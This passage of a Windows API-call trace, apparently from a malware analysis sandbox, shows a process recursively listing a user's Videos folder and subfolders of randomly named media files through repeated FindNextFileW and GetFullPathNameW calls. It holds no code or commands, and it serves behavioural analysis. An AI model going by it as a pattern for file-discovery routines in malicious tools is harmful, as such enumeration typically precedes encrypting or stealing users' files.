lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb30c39b0, ftCreationTime.dwHighDateTime=0x1d5d86f, ftLastAccessTime.dwLowDateTime=0xda8c4250, ftLastAccessTime.dwHighDateTime=0x1d5e26f, ftLastWriteTime.dwLowDateTime=0xda8c4250, ftLastWriteTime.dwHighDateTime=0x1d5e26f, nFileSizeHigh=0x0, nFileSizeLow=0x9ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="m4eo.swf", cAlternateFileName="")) returned 1 [0080.506] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6386370, ftCreationTime.dwHighDateTime=0x1d5e469, ftLastAccessTime.dwLowDateTime=0x1e3bcb20, ftLastAccessTime.dwHighDateTime=0x1d5e26f, ftLastWriteTime.dwLowDateTime=0x1e3bcb20, ftLastWriteTime.dwHighDateTime=0x1d5e26f, nFileSizeHigh=0x0, nFileSizeLow=0x7bd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="T9k0PODqkSnYxH.flv", cAlternateFileName="T9K0PO~1.FLV")) returned 1 [0080.506] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff2f3e0, ftCreationTime.dwHighDateTime=0x1d5e7a6, ftLastAccessTime.dwLowDateTime=0xd2b3b4a0, ftLastAccessTime.dwHighDateTime=0x1d5e54e, ftLastWriteTime.dwLowDateTime=0xd2b3b4a0, ftLastWriteTime.dwHighDateTime=0x1d5e54e, nFileSizeHigh=0x0, nFileSizeLow=0x39d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UGLiyf.mp4", cAlternateFileName="")) returned 1 [0080.506] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff2f3e0, ftCreationTime.dwHighDateTime=0x1d5e7a6, ftLastAccessTime.dwLowDateTime=0xd2b3b4a0, ftLastAccessTime.dwHighDateTime=0x1d5e54e, ftLastWriteTime.dwLowDateTime=0xd2b3b4a0, ftLastWriteTime.dwHighDateTime=0x1d5e54e, nFileSizeHigh=0x0, nFileSizeLow=0x39d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UGLiyf.mp4", cAlternateFileName="")) returned 0 [0080.506] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.506] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe591de50, ftCreationTime.dwHighDateTime=0x1d5e736, ftLastAccessTime.dwLowDateTime=0x1f6f28d0, ftLastAccessTime.dwHighDateTime=0x1d5dcce, ftLastWriteTime.dwLowDateTime=0x1f6f28d0, ftLastWriteTime.dwHighDateTime=0x1d5dcce, nFileSizeHigh=0x0, nFileSizeLow=0x186b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="RVRNzJgJK8HglFHIG.swf", cAlternateFileName="RVRNZJ~1.SWF")) returned 1 [0080.507] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf7c93b0, ftCreationTime.dwHighDateTime=0x1d5dc75, ftLastAccessTime.dwLowDateTime=0x997bb140, ftLastAccessTime.dwHighDateTime=0x1d5e7a8, ftLastWriteTime.dwLowDateTime=0x997bb140, ftLastWriteTime.dwHighDateTime=0x1d5e7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rX_Z", cAlternateFileName="")) returned 1 [0080.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.509] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0080.509] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\", lpFilePart=0x0) returned 0x2a [0080.509] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf7c93b0, ftCreationTime.dwHighDateTime=0x1d5dc75, ftLastAccessTime.dwLowDateTime=0x997bb140, ftLastAccessTime.dwHighDateTime=0x1d5e7a8, ftLastWriteTime.dwLowDateTime=0x997bb140, ftLastWriteTime.dwHighDateTime=0x1d5e7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.509] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf7c93b0, ftCreationTime.dwHighDateTime=0x1d5dc75, ftLastAccessTime.dwLowDateTime=0x997bb140, ftLastAccessTime.dwHighDateTime=0x1d5e7a8, ftLastWriteTime.dwLowDateTime=0x997bb140, ftLastWriteTime.dwHighDateTime=0x1d5e7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.509] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b3b280, ftCreationTime.dwHighDateTime=0x1d5db4f, ftLastAccessTime.dwLowDateTime=0x2ababc50, ftLastAccessTime.dwHighDateTime=0x1d5dfc5, ftLastWriteTime.dwLowDateTime=0x2ababc50, ftLastWriteTime.dwHighDateTime=0x1d5dfc5, nFileSizeHigh=0x0, nFileSizeLow=0x4659, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRkf6LQiV6jw.avi", cAlternateFileName="GRKF6L~1.AVI")) returned 1 [0080.509] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a28d9f0, ftCreationTime.dwHighDateTime=0x1d5e009, ftLastAccessTime.dwLowDateTime=0x4f819150, ftLastAccessTime.dwHighDateTime=0x1d5e112, ftLastWriteTime.dwLowDateTime=0x4f819150, ftLastWriteTime.dwHighDateTime=0x1d5e112, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVyU9mm3Ch", cAlternateFileName="HVYU9M~1")) returned 1 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\", lpFilePart=0x0) returned 0x35 [0080.511] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a28d9f0, ftCreationTime.dwHighDateTime=0x1d5e009, ftLastAccessTime.dwLowDateTime=0x4f819150, ftLastAccessTime.dwHighDateTime=0x1d5e112, ftLastWriteTime.dwLowDateTime=0x4f819150, ftLastWriteTime.dwHighDateTime=0x1d5e112, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.512] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a28d9f0, ftCreationTime.dwHighDateTime=0x1d5e009, ftLastAccessTime.dwLowDateTime=0x4f819150, ftLastAccessTime.dwHighDateTime=0x1d5e112, ftLastWriteTime.dwLowDateTime=0x4f819150, ftLastWriteTime.dwHighDateTime=0x1d5e112, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.512] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf72e0, ftCreationTime.dwHighDateTime=0x1d5de80, ftLastAccessTime.dwLowDateTime=0x3bbe2790, ftLastAccessTime.dwHighDateTime=0x1d5dd44, ftLastWriteTime.dwLowDateTime=0x3bbe2790, ftLastWriteTime.dwHighDateTime=0x1d5dd44, nFileSizeHigh=0x0, nFileSizeLow=0x9492, dwReserved0=0x0, dwReserved1=0x0, cFileName="25XkF Ftlk.mp4", cAlternateFileName="25XKFF~1.MP4")) returned 1 [0080.512] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d63110, ftCreationTime.dwHighDateTime=0x1d5d804, ftLastAccessTime.dwLowDateTime=0x86c52de0, ftLastAccessTime.dwHighDateTime=0x1d5e53e, ftLastWriteTime.dwLowDateTime=0x86c52de0, ftLastWriteTime.dwHighDateTime=0x1d5e53e, nFileSizeHigh=0x0, nFileSizeLow=0x14ecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="91yKPS7yoWR.swf", cAlternateFileName="91YKPS~1.SWF")) returned 1 [0080.512] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323fb1f0, ftCreationTime.dwHighDateTime=0x1d5d7e7, ftLastAccessTime.dwLowDateTime=0x1cbf1940, ftLastAccessTime.dwHighDateTime=0x1d5e66c, ftLastWriteTime.dwLowDateTime=0x1cbf1940, ftLastWriteTime.dwHighDateTime=0x1d5e66c, nFileSizeHigh=0x0, nFileSizeLow=0x147fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="cxguRw9l.avi", cAlternateFileName="")) returned 1 [0080.513] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7320fd0, ftCreationTime.dwHighDateTime=0x1d5e2c1, ftLastAccessTime.dwLowDateTime=0xd2e0c900, ftLastAccessTime.dwHighDateTime=0x1d5de04, ftLastWriteTime.dwLowDateTime=0xd2e0c900, ftLastWriteTime.dwHighDateTime=0x1d5de04, nFileSizeHigh=0x0, nFileSizeLow=0xdb2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jloHPSU-Y6vmHOQSdJy.avi", cAlternateFileName="JLOHPS~1.AVI")) returned 1 [0080.513] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf250e080, ftCreationTime.dwHighDateTime=0x1d5e2f1, ftLastAccessTime.dwLowDateTime=0x8566a50, ftLastAccessTime.dwHighDateTime=0x1d5e197, ftLastWriteTime.dwLowDateTime=0x8566a50, ftLastWriteTime.dwHighDateTime=0x1d5e197, nFileSizeHigh=0x0, nFileSizeLow=0xd0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="N2Hjg3fU.flv", cAlternateFileName="")) returned 1 [0080.513] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6f94700, ftCreationTime.dwHighDateTime=0x1d5de1c, ftLastAccessTime.dwLowDateTime=0xf1f07720, ftLastAccessTime.dwHighDateTime=0x1d5d9d4, ftLastWriteTime.dwLowDateTime=0xf1f07720, ftLastWriteTime.dwHighDateTime=0x1d5d9d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 